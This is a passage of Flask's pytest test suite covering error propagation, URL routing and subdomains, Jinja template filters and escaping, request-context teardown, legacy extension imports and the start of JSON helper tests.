        @app.route('/')
        def index():
            1 // 0
        c = app.test_client()
        if config_key is not None:
            app.config[config_key] = True
            with pytest.raises(Exception):
                c.get('/')
        else:
            assert c.get('/').status_code == 500

    # we have to run this test in an isolated thread because if the
    # debug flag is set to true and an exception happens the context is
    # not torn down.  This causes other tests that run after this fail
    # when they expect no exception on the stack.
    for config_key in 'TESTING', 'PROPAGATE_EXCEPTIONS', 'DEBUG', None:
        t = Thread(target=apprunner, args=(config_key,))
        t.start()
        t.join()


@pytest.mark.parametrize('debug', [True, False])
@pytest.mark.parametrize('use_debugger', [True, False])
@pytest.mark.parametrize('use_reloader', [True, False])
@pytest.mark.parametrize('propagate_exceptions', [None, True, False])
def test_werkzeug_passthrough_errors(monkeypatch, debug, use_debugger,
                                     use_reloader, propagate_exceptions):
    rv = {}

    # Mocks werkzeug.serving.run_simple method
    def run_simple_mock(*args, **kwargs):
        rv['passthrough_errors'] = kwargs.get('passthrough_errors')

    app = flask.Flask(__name__)
    monkeypatch.setattr(werkzeug.serving, 'run_simple', run_simple_mock)
    app.config['PROPAGATE_EXCEPTIONS'] = propagate_exceptions
    app.run(debug=debug, use_debugger=use_debugger, use_reloader=use_reloader)
    # make sure werkzeug always passes errors through
    assert rv['passthrough_errors']


def test_max_content_length():
    app = flask.Flask(__name__)
    app.config['MAX_CONTENT_LENGTH'] = 64

    @app.before_request
    def always_first():
        flask.request.form['myfile']
        assert False

    @app.route('/accept', methods=['POST'])
    def accept_file():
        flask.request.form['myfile']
        assert False

    @app.errorhandler(413)
    def catcher(error):
        return '42'

    c = app.test_client()
    rv = c.post('/accept', data={'myfile': 'foo' * 100})
    assert rv.data == b'42'


def test_url_processors():
    app = flask.Flask(__name__)

    @app.url_defaults
    def add_language_code(endpoint, values):
        if flask.g.lang_code is not None and \
           app.url_map.is_endpoint_expecting(endpoint, 'lang_code'):
            values.setdefault('lang_code', flask.g.lang_code)

    @app.url_value_preprocessor
    def pull_lang_code(endpoint, values):
        flask.g.lang_code = values.pop('lang_code', None)

    @app.route('/<lang_code>/')
    def index():
        return flask.url_for('about')

    @app.route('/<lang_code>/about')
    def about():
        return flask.url_for('something_else')

    @app.route('/foo')
    def something_else():
        return flask.url_for('about', lang_code='en')

    c = app.test_client()

    assert c.get('/de/').data == b'/de/about'
    assert c.get('/de/about').data == b'/foo'
    assert c.get('/foo').data == b'/en/about'


def test_inject_blueprint_url_defaults():
    app = flask.Flask(__name__)
    bp = flask.Blueprint('foo.bar.baz', __name__,
                         template_folder='template')

    @bp.url_defaults
    def bp_defaults(endpoint, values):
        values['page'] = 'login'

    @bp.route('/<page>')
    def view(page):
        pass

    app.register_blueprint(bp)

    values = dict()
    app.inject_url_defaults('foo.bar.baz.view', values)
    expected = dict(page='login')
    assert values == expected

    with app.test_request_context('/somepage'):
        url = flask.url_for('foo.bar.baz.view')
    expected = '/login'
    assert url == expected


def test_nonascii_pathinfo():
    app = flask.Flask(__name__)
    app.testing = True

    @app.route(u'/киртест')
    def index():
        return 'Hello World!'

    c = app.test_client()
    rv = c.get(u'/киртест')
    assert rv.data == b'Hello World!'


def test_debug_mode_complains_after_first_request():
    app = flask.Flask(__name__)
    app.debug = True

    @app.route('/')
    def index():
        return 'Awesome'
    assert not app.got_first_request
    assert app.test_client().get('/').data == b'Awesome'
    with pytest.raises(AssertionError) as e:
        @app.route('/foo')
        def broken():
            return 'Meh'
    assert 'A setup function was called' in str(e)

    app.debug = False

    @app.route('/foo')
    def working():
        return 'Meh'
    assert app.test_client().get('/foo').data == b'Meh'
    assert app.got_first_request


def test_before_first_request_functions():
    got = []
    app = flask.Flask(__name__)

    @app.before_first_request
    def foo():
        got.append(42)
    c = app.test_client()
    c.get('/')
    assert got == [42]
    c.get('/')
    assert got == [42]
    assert app.got_first_request


def test_before_first_request_functions_concurrent():
    got = []
    app = flask.Flask(__name__)

    @app.before_first_request
    def foo():
        time.sleep(0.2)
        got.append(42)

    c = app.test_client()

    def get_and_assert():
        c.get("/")
        assert got == [42]

    t = Thread(target=get_and_assert)
    t.start()
    get_and_assert()
    t.join()
    assert app.got_first_request


def test_routing_redirect_debugging():
    app = flask.Flask(__name__)
    app.debug = True

    @app.route('/foo/', methods=['GET', 'POST'])
    def foo():
        return 'success'
    with app.test_client() as c:
        with pytest.raises(AssertionError) as e:
            c.post('/foo', data={})
        assert 'http://localhost/foo/' in str(e)
        assert ('Make sure to directly send '
                'your POST-request to this URL') in str(e)

        rv = c.get('/foo', data={}, follow_redirects=True)
        assert rv.data == b'success'

    app.debug = False
    with app.test_client() as c:
        rv = c.post('/foo', data={}, follow_redirects=True)
        assert rv.data == b'success'


def test_route_decorator_custom_endpoint():
    app = flask.Flask(__name__)
    app.debug = True

    @app.route('/foo/')
    def foo():
        return flask.request.endpoint

    @app.route('/bar/', endpoint='bar')
    def for_bar():
        return flask.request.endpoint

    @app.route('/bar/123', endpoint='123')
    def for_bar_foo():
        return flask.request.endpoint

    with app.test_request_context():
        assert flask.url_for('foo') == '/foo/'
        assert flask.url_for('bar') == '/bar/'
        assert flask.url_for('123') == '/bar/123'

    c = app.test_client()
    assert c.get('/foo/').data == b'foo'
    assert c.get('/bar/').data == b'bar'
    assert c.get('/bar/123').data == b'123'


def test_preserve_only_once():
    app = flask.Flask(__name__)
    app.debug = True

    @app.route('/fail')
    def fail_func():
        1 // 0

    c = app.test_client()
    for x in range(3):
        with pytest.raises(ZeroDivisionError):
            c.get('/fail')

    assert flask._request_ctx_stack.top is not None
    assert flask._app_ctx_stack.top is not None
    # implicit appctx disappears too
    flask._request_ctx_stack.top.pop()
    assert flask._request_ctx_stack.top is None
    assert flask._app_ctx_stack.top is None


def test_preserve_remembers_exception():
    app = flask.Flask(__name__)
    app.debug = True
    errors = []

    @app.route('/fail')
    def fail_func():
        1 // 0

    @app.route('/success')
    def success_func():
        return 'Okay'

    @app.teardown_request
    def teardown_handler(exc):
        errors.append(exc)

    c = app.test_client()

    # After this failure we did not yet call the teardown handler
    with pytest.raises(ZeroDivisionError):
        c.get('/fail')
    assert errors == []

    # But this request triggers it, and it's an error
    c.get('/success')
    assert len(errors) == 2
    assert isinstance(errors[0], ZeroDivisionError)

    # At this point another request does nothing.
    c.get('/success')
    assert len(errors) == 3
    assert errors[1] is None


def test_get_method_on_g():
    app = flask.Flask(__name__)
    app.testing = True

    with app.app_context():
        assert flask.g.get('x') is None
        assert flask.g.get('x', 11) == 11
        flask.g.x = 42
        assert flask.g.get('x') == 42
        assert flask.g.x == 42


def test_g_iteration_protocol():
    app = flask.Flask(__name__)
    app.testing = True

    with app.app_context():
        flask.g.foo = 23
        flask.g.bar = 42
        assert 'foo' in flask.g
        assert 'foos' not in flask.g
        assert sorted(flask.g) == ['bar', 'foo']


def test_subdomain_basic_support():
    app = flask.Flask(__name__)
    app.config['SERVER_NAME'] = 'localhost'

    @app.route('/')
    def normal_index():
        return 'normal index'

    @app.route('/', subdomain='test')
    def test_index():
        return 'test index'

    c = app.test_client()
    rv = c.get('/', 'http://localhost/')
    assert rv.data == b'normal index'

    rv = c.get('/', 'http://test.localhost/')
    assert rv.data == b'test index'


def test_subdomain_matching():
    app = flask.Flask(__name__)
    app.config['SERVER_NAME'] = 'localhost'

    @app.route('/', subdomain='<user>')
    def index(user):
        return 'index for %s' % user

    c = app.test_client()
    rv = c.get('/', 'http://mitsuhiko.localhost/')
    assert rv.data == b'index for mitsuhiko'


def test_subdomain_matching_with_ports():
    app = flask.Flask(__name__)
    app.config['SERVER_NAME'] = 'localhost:3000'

    @app.route('/', subdomain='<user>')
    def index(user):
        return 'index for %s' % user

    c = app.test_client()
    rv = c.get('/', 'http://mitsuhiko.localhost:3000/')
    assert rv.data == b'index for mitsuhiko'


def test_multi_route_rules():
    app = flask.Flask(__name__)

    @app.route('/')
    @app.route('/<test>/')
    def index(test='a'):
        return test

    rv = app.test_client().open('/')
    assert rv.data == b'a'
    rv = app.test_client().open('/b/')
    assert rv.data == b'b'


def test_multi_route_class_views():
    class View(object):

        def __init__(self, app):
            app.add_url_rule('/', 'index', self.index)
            app.add_url_rule('/<test>/', 'index', self.index)

        def index(self, test='a'):
            return test

    app = flask.Flask(__name__)
    _ = View(app)
    rv = app.test_client().open('/')
    assert rv.data == b'a'
    rv = app.test_client().open('/b/')
    assert rv.data == b'b'


def test_run_defaults(monkeypatch):
    rv = {}

    # Mocks werkzeug.serving.run_simple method
    def run_simple_mock(*args, **kwargs):
        rv['result'] = 'running...'

    app = flask.Flask(__name__)
    monkeypatch.setattr(werkzeug.serving, 'run_simple', run_simple_mock)
    app.run()
    assert rv['result'] == 'running...'


def test_run_server_port(monkeypatch):
    rv = {}

    # Mocks werkzeug.serving.run_simple method
    def run_simple_mock(hostname, port, application, *args, **kwargs):
        rv['result'] = 'running on %s:%s ...' % (hostname, port)

    app = flask.Flask(__name__)
    monkeypatch.setattr(werkzeug.serving, 'run_simple', run_simple_mock)
    hostname, port = 'localhost', 8000
    app.run(hostname, port, debug=True)
    assert rv['result'] == 'running on %s:%s ...' % (hostname, port)






# -*- coding: utf-8 -*-
"""
    tests.templating
    ~~~~~~~~~~~~~~~~

    Template functionality

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import pytest

import flask
import logging
from jinja2 import TemplateNotFound


def test_context_processing():
    app = flask.Flask(__name__)
    @app.context_processor
    def context_processor():
        return {'injected_value': 42}
    @app.route('/')
    def index():
        return flask.render_template('context_template.html', value=23)
    rv = app.test_client().get('/')
    assert rv.data == b'<p>23|42'

def test_original_win():
    app = flask.Flask(__name__)
    @app.route('/')
    def index():
        return flask.render_template_string('{{ config }}', config=42)
    rv = app.test_client().get('/')
    assert rv.data == b'42'

def test_request_less_rendering():
    app = flask.Flask(__name__)
    app.config['WORLD_NAME'] = 'Special World'
    @app.context_processor
    def context_processor():
        return dict(foo=42)

    with app.app_context():
        rv = flask.render_template_string('Hello {{ config.WORLD_NAME }} '
                                          '{{ foo }}')
        assert rv == 'Hello Special World 42'

def test_standard_context():
    app = flask.Flask(__name__)
    app.secret_key = 'development key'
    @app.route('/')
    def index():
        flask.g.foo = 23
        flask.session['test'] = 'aha'
        return flask.render_template_string('''
            {{ request.args.foo }}
            {{ g.foo }}
            {{ config.DEBUG }}
            {{ session.test }}
        ''')
    rv = app.test_client().get('/?foo=42')
    assert rv.data.split() == [b'42', b'23', b'False', b'aha']

def test_escaping():
    text = '<p>Hello World!'
    app = flask.Flask(__name__)
    @app.route('/')
    def index():
        return flask.render_template('escaping_template.html', text=text,
                                     html=flask.Markup(text))
    lines = app.test_client().get('/').data.splitlines()
    assert lines == [
        b'&lt;p&gt;Hello World!',
        b'<p>Hello World!',
        b'<p>Hello World!',
        b'<p>Hello World!',
        b'&lt;p&gt;Hello World!',
        b'<p>Hello World!'
    ]

def test_no_escaping():
    text = '<p>Hello World!'
    app = flask.Flask(__name__)
    @app.route('/')
    def index():
        return flask.render_template('non_escaping_template.txt', text=text,
                                     html=flask.Markup(text))
    lines = app.test_client().get('/').data.splitlines()
    assert lines == [
        b'<p>Hello World!',
        b'<p>Hello World!',
        b'<p>Hello World!',
        b'<p>Hello World!',
        b'&lt;p&gt;Hello World!',
        b'<p>Hello World!',
        b'<p>Hello World!',
        b'<p>Hello World!'
    ]

def test_escaping_without_template_filename():
    app = flask.Flask(__name__)
    with app.test_request_context():
        assert flask.render_template_string(
            '{{ foo }}', foo='<test>') == '&lt;test&gt;'
        assert flask.render_template('mail.txt', foo='<test>') == \
            '<test> Mail'

def test_macros():
    app = flask.Flask(__name__)
    with app.test_request_context():
        macro = flask.get_template_attribute('_macro.html', 'hello')
        assert macro('World') == 'Hello World!'

def test_template_filter():
    app = flask.Flask(__name__)
    @app.template_filter()
    def my_reverse(s):
        return s[::-1]
    assert 'my_reverse' in app.jinja_env.filters.keys()
    assert app.jinja_env.filters['my_reverse'] == my_reverse
    assert app.jinja_env.filters['my_reverse']('abcd') == 'dcba'

def test_add_template_filter():
    app = flask.Flask(__name__)
    def my_reverse(s):
        return s[::-1]
    app.add_template_filter(my_reverse)
    assert 'my_reverse' in app.jinja_env.filters.keys()
    assert app.jinja_env.filters['my_reverse'] == my_reverse
    assert app.jinja_env.filters['my_reverse']('abcd') == 'dcba'

def test_template_filter_with_name():
    app = flask.Flask(__name__)
    @app.template_filter('strrev')
    def my_reverse(s):
        return s[::-1]
    assert 'strrev' in app.jinja_env.filters.keys()
    assert app.jinja_env.filters['strrev'] == my_reverse
    assert app.jinja_env.filters['strrev']('abcd') == 'dcba'

def test_add_template_filter_with_name():
    app = flask.Flask(__name__)
    def my_reverse(s):
        return s[::-1]
    app.add_template_filter(my_reverse, 'strrev')
    assert 'strrev' in app.jinja_env.filters.keys()
    assert app.jinja_env.filters['strrev'] == my_reverse
    assert app.jinja_env.filters['strrev']('abcd') == 'dcba'

def test_template_filter_with_template():
    app = flask.Flask(__name__)
    @app.template_filter()
    def super_reverse(s):
        return s[::-1]
    @app.route('/')
    def index():
        return flask.render_template('template_filter.html', value='abcd')
    rv = app.test_client().get('/')
    assert rv.data == b'dcba'

def test_add_template_filter_with_template():
    app = flask.Flask(__name__)
    def super_reverse(s):
        return s[::-1]
    app.add_template_filter(super_reverse)
    @app.route('/')
    def index():
        return flask.render_template('template_filter.html', value='abcd')
    rv = app.test_client().get('/')
    assert rv.data == b'dcba'

def test_template_filter_with_name_and_template():
    app = flask.Flask(__name__)
    @app.template_filter('super_reverse')
    def my_reverse(s):
        return s[::-1]
    @app.route('/')
    def index():
        return flask.render_template('template_filter.html', value='abcd')
    rv = app.test_client().get('/')
    assert rv.data == b'dcba'

def test_add_template_filter_with_name_and_template():
    app = flask.Flask(__name__)
    def my_reverse(s):
        return s[::-1]
    app.add_template_filter(my_reverse, 'super_reverse')
    @app.route('/')
    def index():
        return flask.render_template('template_filter.html', value='abcd')
    rv = app.test_client().get('/')
    assert rv.data == b'dcba'

def test_template_test():
    app = flask.Flask(__name__)
    @app.template_test()
    def boolean(value):
        return isinstance(value, bool)
    assert 'boolean' in app.jinja_env.tests.keys()
    assert app.jinja_env.tests['boolean'] == boolean
    assert app.jinja_env.tests['boolean'](False)

def test_add_template_test():
    app = flask.Flask(__name__)
    def boolean(value):
        return isinstance(value, bool)
    app.add_template_test(boolean)
    assert 'boolean' in app.jinja_env.tests.keys()
    assert app.jinja_env.tests['boolean'] == boolean
    assert app.jinja_env.tests['boolean'](False)

def test_template_test_with_name():
    app = flask.Flask(__name__)
    @app.template_test('boolean')
    def is_boolean(value):
        return isinstance(value, bool)
    assert 'boolean' in app.jinja_env.tests.keys()
    assert app.jinja_env.tests['boolean'] == is_boolean
    assert app.jinja_env.tests['boolean'](False)

def test_add_template_test_with_name():
    app = flask.Flask(__name__)
    def is_boolean(value):
        return isinstance(value, bool)
    app.add_template_test(is_boolean, 'boolean')
    assert 'boolean' in app.jinja_env.tests.keys()
    assert app.jinja_env.tests['boolean'] == is_boolean
    assert app.jinja_env.tests['boolean'](False)

def test_template_test_with_template():
    app = flask.Flask(__name__)
    @app.template_test()
    def boolean(value):
        return isinstance(value, bool)
    @app.route('/')
    def index():
        return flask.render_template('template_test.html', value=False)
    rv = app.test_client().get('/')
    assert b'Success!' in rv.data

def test_add_template_test_with_template():
    app = flask.Flask(__name__)
    def boolean(value):
        return isinstance(value, bool)
    app.add_template_test(boolean)
    @app.route('/')
    def index():
        return flask.render_template('template_test.html', value=False)
    rv = app.test_client().get('/')
    assert b'Success!' in rv.data

def test_template_test_with_name_and_template():
    app = flask.Flask(__name__)
    @app.template_test('boolean')
    def is_boolean(value):
        return isinstance(value, bool)
    @app.route('/')
    def index():
        return flask.render_template('template_test.html', value=False)
    rv = app.test_client().get('/')
    assert b'Success!' in rv.data

def test_add_template_test_with_name_and_template():
    app = flask.Flask(__name__)
    def is_boolean(value):
        return isinstance(value, bool)
    app.add_template_test(is_boolean, 'boolean')
    @app.route('/')
    def index():
        return flask.render_template('template_test.html', value=False)
    rv = app.test_client().get('/')
    assert b'Success!' in rv.data

def test_add_template_global():
    app = flask.Flask(__name__)
    @app.template_global()
    def get_stuff():
        return 42
    assert 'get_stuff' in app.jinja_env.globals.keys()
    assert app.jinja_env.globals['get_stuff'] == get_stuff
    assert app.jinja_env.globals['get_stuff'](), 42
    with app.app_context():
        rv = flask.render_template_string('{{ get_stuff() }}')
        assert rv == '42'

def test_custom_template_loader():
    class MyFlask(flask.Flask):
        def create_global_jinja_loader(self):
            from jinja2 import DictLoader
            return DictLoader({'index.html': 'Hello Custom World!'})
    app = MyFlask(__name__)
    @app.route('/')
    def index():
        return flask.render_template('index.html')
    c = app.test_client()
    rv = c.get('/')
    assert rv.data == b'Hello Custom World!'

def test_iterable_loader():
    app = flask.Flask(__name__)
    @app.context_processor
    def context_processor():
        return {'whiskey': 'Jameson'}
    @app.route('/')
    def index():
        return flask.render_template(
            ['no_template.xml',  # should skip this one
            'simple_template.html',  # should render this
            'context_template.html'],
            value=23)

    rv = app.test_client().get('/')
    assert rv.data == b'<h1>Jameson</h1>'

def test_templates_auto_reload():
    # debug is False, config option is None
    app = flask.Flask(__name__)
    assert app.debug is False
    assert app.config['TEMPLATES_AUTO_RELOAD'] is None
    assert app.jinja_env.auto_reload is False
    # debug is False, config option is False
    app = flask.Flask(__name__)
    app.config['TEMPLATES_AUTO_RELOAD'] = False
    assert app.debug is False
    assert app.jinja_env.auto_reload is False
    # debug is False, config option is True
    app = flask.Flask(__name__)
    app.config['TEMPLATES_AUTO_RELOAD'] = True
    assert app.debug is False
    assert app.jinja_env.auto_reload is True
    # debug is True, config option is None
    app = flask.Flask(__name__)
    app.config['DEBUG'] = True
    assert app.config['TEMPLATES_AUTO_RELOAD'] is None
    assert app.jinja_env.auto_reload is True
    # debug is True, config option is False
    app = flask.Flask(__name__)
    app.config['DEBUG'] = True
    app.config['TEMPLATES_AUTO_RELOAD'] = False
    assert app.jinja_env.auto_reload is False
    # debug is True, config option is True
    app = flask.Flask(__name__)
    app.config['DEBUG'] = True
    app.config['TEMPLATES_AUTO_RELOAD'] = True
    assert app.jinja_env.auto_reload is True

def test_template_loader_debugging(test_apps):
    from blueprintapp import app

    called = []
    class _TestHandler(logging.Handler):
        def handle(x, record):
            called.append(True)
            text = str(record.msg)
            assert '1: trying loader of application "blueprintapp"' in text
            assert ('2: trying loader of blueprint "admin" '
                    '(blueprintapp.apps.admin)') in text
            assert ('trying loader of blueprint "frontend" '
                    '(blueprintapp.apps.frontend)') in text
            assert 'Error: the template could not be found' in text
            assert ('looked up from an endpoint that belongs to '
                    'the blueprint "frontend"') in text
            assert 'See http://flask.pocoo.org/docs/blueprints/#templates' in text

    with app.test_client() as c:
        try:
            old_load_setting = app.config['EXPLAIN_TEMPLATE_LOADING']
            old_handlers = app.logger.handlers[:]
            app.logger.handlers = [_TestHandler()]
            app.config['EXPLAIN_TEMPLATE_LOADING'] = True

            with pytest.raises(TemplateNotFound) as excinfo:
                c.get('/missing')

            assert 'missing_template.html' in str(excinfo.value)
        finally:
            app.logger.handlers[:] = old_handlers
            app.config['EXPLAIN_TEMPLATE_LOADING'] = old_load_setting

    assert len(called) == 1

def test_custom_jinja_env():
    class CustomEnvironment(flask.templating.Environment):
        pass

    class CustomFlask(flask.Flask):
        jinja_environment = CustomEnvironment

    app = CustomFlask(__name__)
    assert isinstance(app.jinja_env, CustomEnvironment)






# -*- coding: utf-8 -*-
"""
    tests.reqctx
    ~~~~~~~~~~~~

    Tests the request context.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import pytest

import flask

try:
    from greenlet import greenlet
except ImportError:
    greenlet = None


def test_teardown_on_pop():
    buffer = []
    app = flask.Flask(__name__)
    @app.teardown_request
    def end_of_request(exception):
        buffer.append(exception)

    ctx = app.test_request_context()
    ctx.push()
    assert buffer == []
    ctx.pop()
    assert buffer == [None]

def test_teardown_with_previous_exception():
    buffer = []
    app = flask.Flask(__name__)
    @app.teardown_request
    def end_of_request(exception):
        buffer.append(exception)

    try:
        raise Exception('dummy')
    except Exception:
        pass

    with app.test_request_context():
        assert buffer == []
    assert buffer == [None]

def test_teardown_with_handled_exception():
    buffer = []
    app = flask.Flask(__name__)
    @app.teardown_request
    def end_of_request(exception):
        buffer.append(exception)

    with app.test_request_context():
        assert buffer == []
        try:
            raise Exception('dummy')
        except Exception:
            pass
    assert buffer == [None]

def test_proper_test_request_context():
    app = flask.Flask(__name__)
    app.config.update(
        SERVER_NAME='localhost.localdomain:5000'
    )

    @app.route('/')
    def index():
        return None

    @app.route('/', subdomain='foo')
    def sub():
        return None

    with app.test_request_context('/'):
        assert flask.url_for('index', _external=True) == \
            'http://localhost.localdomain:5000/'

    with app.test_request_context('/'):
        assert flask.url_for('sub', _external=True) == \
            'http://foo.localhost.localdomain:5000/'

    try:
        with app.test_request_context('/', environ_overrides={'HTTP_HOST': 'localhost'}):
            pass
    except ValueError as e:
        assert str(e) == (
            "the server name provided "
            "('localhost.localdomain:5000') does not match the "
            "server name from the WSGI environment ('localhost')"
        )

    app.config.update(SERVER_NAME='localhost')
    with app.test_request_context('/', environ_overrides={'SERVER_NAME': 'localhost'}):
        pass

    app.config.update(SERVER_NAME='localhost:80')
    with app.test_request_context('/', environ_overrides={'SERVER_NAME': 'localhost:80'}):
        pass

def test_context_binding():
    app = flask.Flask(__name__)
    @app.route('/')
    def index():
        return 'Hello %s!' % flask.request.args['name']
    @app.route('/meh')
    def meh():
        return flask.request.url

    with app.test_request_context('/?name=World'):
        assert index() == 'Hello World!'
    with app.test_request_context('/meh'):
        assert meh() == 'http://localhost/meh'
    assert flask._request_ctx_stack.top is None

def test_context_test():
    app = flask.Flask(__name__)
    assert not flask.request
    assert not flask.has_request_context()
    ctx = app.test_request_context()
    ctx.push()
    try:
        assert flask.request
        assert flask.has_request_context()
    finally:
        ctx.pop()

def test_manual_context_binding():
    app = flask.Flask(__name__)
    @app.route('/')
    def index():
        return 'Hello %s!' % flask.request.args['name']

    ctx = app.test_request_context('/?name=World')
    ctx.push()
    assert index() == 'Hello World!'
    ctx.pop()
    with pytest.raises(RuntimeError):
        index()

@pytest.mark.skipif(greenlet is None, reason='greenlet not installed')
def test_greenlet_context_copying():
    app = flask.Flask(__name__)
    greenlets = []

    @app.route('/')
    def index():
        reqctx = flask._request_ctx_stack.top.copy()
        def g():
            assert not flask.request
            assert not flask.current_app
            with reqctx:
                assert flask.request
                assert flask.current_app == app
                assert flask.request.path == '/'
                assert flask.request.args['foo'] == 'bar'
            assert not flask.request
            return 42
        greenlets.append(greenlet(g))
        return 'Hello World!'

    rv = app.test_client().get('/?foo=bar')
    assert rv.data == b'Hello World!'

    result = greenlets[0].run()
    assert result == 42

@pytest.mark.skipif(greenlet is None, reason='greenlet not installed')
def test_greenlet_context_copying_api():
    app = flask.Flask(__name__)
    greenlets = []

    @app.route('/')
    def index():
        reqctx = flask._request_ctx_stack.top.copy()
        @flask.copy_current_request_context
        def g():
            assert flask.request
            assert flask.current_app == app
            assert flask.request.path == '/'
            assert flask.request.args['foo'] == 'bar'
            return 42
        greenlets.append(greenlet(g))
        return 'Hello World!'

    rv = app.test_client().get('/?foo=bar')
    assert rv.data == b'Hello World!'

    result = greenlets[0].run()
    assert result == 42






# -*- coding: utf-8 -*-
"""
    tests.ext
    ~~~~~~~~~~~~~~~~~~~

    Tests the extension import thing.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import sys
import pytest

try:
    from imp import reload as reload_module
except ImportError:
    reload_module = reload

from flask._compat import PY2


@pytest.fixture(autouse=True)
def disable_extwarnings(request, recwarn):
    from flask.exthook import ExtDeprecationWarning

    def inner():
        assert set(w.category for w in recwarn.list) \
            <= set([ExtDeprecationWarning])
        recwarn.clear()

    request.addfinalizer(inner)


@pytest.fixture(autouse=True)
def importhook_setup(monkeypatch, request):
    # we clear this out for various reasons.  The most important one is
    # that a real flaskext could be in there which would disable our
    # fake package.  Secondly we want to make sure that the flaskext
    # import hook does not break on reloading.
    for entry, value in list(sys.modules.items()):
        if (
            entry.startswith('flask.ext.') or
            entry.startswith('flask_') or
            entry.startswith('flaskext.') or
            entry == 'flaskext'
        ) and value is not None:
            monkeypatch.delitem(sys.modules, entry)
    from flask import ext
    reload_module(ext)

    # reloading must not add more hooks
    import_hooks = 0
    for item in sys.meta_path:
        cls = type(item)
        if cls.__module__ == 'flask.exthook' and \
           cls.__name__ == 'ExtensionImporter':
            import_hooks += 1
    assert import_hooks == 1

    def teardown():
        from flask import ext
        for key in ext.__dict__:
            assert '.' not in key

    request.addfinalizer(teardown)


@pytest.fixture
def newext_simple(modules_tmpdir):
    x = modules_tmpdir.join('flask_newext_simple.py')
    x.write('ext_id = "newext_simple"')


@pytest.fixture
def oldext_simple(modules_tmpdir):
    flaskext = modules_tmpdir.mkdir('flaskext')
    flaskext.join('__init__.py').write('\n')
    flaskext.join('oldext_simple.py').write('ext_id = "oldext_simple"')


@pytest.fixture
def newext_package(modules_tmpdir):
    pkg = modules_tmpdir.mkdir('flask_newext_package')
    pkg.join('__init__.py').write('ext_id = "newext_package"')
    pkg.join('submodule.py').write('def test_function():\n    return 42\n')


@pytest.fixture
def oldext_package(modules_tmpdir):
    flaskext = modules_tmpdir.mkdir('flaskext')
    flaskext.join('__init__.py').write('\n')
    oldext = flaskext.mkdir('oldext_package')
    oldext.join('__init__.py').write('ext_id = "oldext_package"')
    oldext.join('submodule.py').write('def test_function():\n'
                                      '    return 42')


@pytest.fixture
def flaskext_broken(modules_tmpdir):
    ext = modules_tmpdir.mkdir('flask_broken')
    ext.join('b.py').write('\n')
    ext.join('__init__.py').write('import flask.ext.broken.b\n'
                                  'import missing_module')


def test_flaskext_new_simple_import_normal(newext_simple):
    from flask.ext.newext_simple import ext_id
    assert ext_id == 'newext_simple'


def test_flaskext_new_simple_import_module(newext_simple):
    from flask.ext import newext_simple
    assert newext_simple.ext_id == 'newext_simple'
    assert newext_simple.__name__ == 'flask_newext_simple'


def test_flaskext_new_package_import_normal(newext_package):
    from flask.ext.newext_package import ext_id
    assert ext_id == 'newext_package'


def test_flaskext_new_package_import_module(newext_package):
    from flask.ext import newext_package
    assert newext_package.ext_id == 'newext_package'
    assert newext_package.__name__ == 'flask_newext_package'


def test_flaskext_new_package_import_submodule_function(newext_package):
    from flask.ext.newext_package.submodule import test_function
    assert test_function() == 42


def test_flaskext_new_package_import_submodule(newext_package):
    from flask.ext.newext_package import submodule
    assert submodule.__name__ == 'flask_newext_package.submodule'
    assert submodule.test_function() == 42


def test_flaskext_old_simple_import_normal(oldext_simple):
    from flask.ext.oldext_simple import ext_id
    assert ext_id == 'oldext_simple'


def test_flaskext_old_simple_import_module(oldext_simple):
    from flask.ext import oldext_simple
    assert oldext_simple.ext_id == 'oldext_simple'
    assert oldext_simple.__name__ == 'flaskext.oldext_simple'


def test_flaskext_old_package_import_normal(oldext_package):
    from flask.ext.oldext_package import ext_id
    assert ext_id == 'oldext_package'


def test_flaskext_old_package_import_module(oldext_package):
    from flask.ext import oldext_package
    assert oldext_package.ext_id == 'oldext_package'
    assert oldext_package.__name__ == 'flaskext.oldext_package'


def test_flaskext_old_package_import_submodule(oldext_package):
    from flask.ext.oldext_package import submodule
    assert submodule.__name__ == 'flaskext.oldext_package.submodule'
    assert submodule.test_function() == 42


def test_flaskext_old_package_import_submodule_function(oldext_package):
    from flask.ext.oldext_package.submodule import test_function
    assert test_function() == 42


def test_flaskext_broken_package_no_module_caching(flaskext_broken):
    for x in range(2):
        with pytest.raises(ImportError):
            import flask.ext.broken


def test_no_error_swallowing(flaskext_broken):
    with pytest.raises(ImportError) as excinfo:
        import flask.ext.broken

    assert excinfo.type is ImportError
    if PY2:
        message = 'No module named missing_module'
    else:
        message = 'No module named \'missing_module\''
    assert str(excinfo.value) == message
    assert excinfo.tb.tb_frame.f_globals is globals()

    # reraise() adds a second frame so we need to skip that one too.
    # On PY3 we even have another one :(
    next = excinfo.tb.tb_next.tb_next
    if not PY2:
        next = next.tb_next

    import os.path
    assert os.path.join('flask_broken', '__init__.py') in \
        next.tb_frame.f_code.co_filename






# -*- coding: utf-8 -*-
"""
    tests.helpers
    ~~~~~~~~~~~~~~~~~~~~~~~

    Various helpers.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import pytest

import os
import uuid
import datetime
import flask
from logging import StreamHandler
from werkzeug.exceptions import BadRequest, NotFound
from werkzeug.http import parse_cache_control_header, parse_options_header
from werkzeug.http import http_date
from flask._compat import StringIO, text_type


def has_encoding(name):
    try:
        import codecs
        codecs.lookup(name)
        return True
    except LookupError:
        return False


class TestJSON(object):

    def test_post_empty_json_adds_exception_to_response_content_in_debug(self):
        app = flask.Flask(__name__)
        app.config['DEBUG'] = True
        @app.route('/json', methods=['POST'])
        def post_json():
            flask.request.get_json()
            return None
        c = app.test_client()
        rv = c.post('/json', data=None, content_type='application/json')
        assert rv.status_code == 400
        assert b'Failed to decode JSON object' in rv.data

    def test_post_empty_json_wont_add_exception_to_response_if_no_debug(self):
        app = flask.Flask(__name__)
        app.config['DEBUG'] = False
        @app.route('/json', methods=['POST'])
        def post_json():
            flask.request.get_json()
            return None
        c = app.test_client()
        rv = c.post('/json', data=None, content_type='application/json')
        assert rv.status_code == 400
        assert b'Failed to decode JSON object' not in rv.data

    def test_json_bad_requests(self):
        app = flask.Flask(__name__)
        @app.route('/json', methods=['POST'])
        def return_json():
            return flask.jsonify(foo=text_type(flask.request.get_json()))
        c = app.test_client()
        rv = c.post('/json', data='malformed', content_type='application/json')
        assert rv.status_code == 400

    def test_json_custom_mimetypes(self):
        app = flask.Flask(__name__)
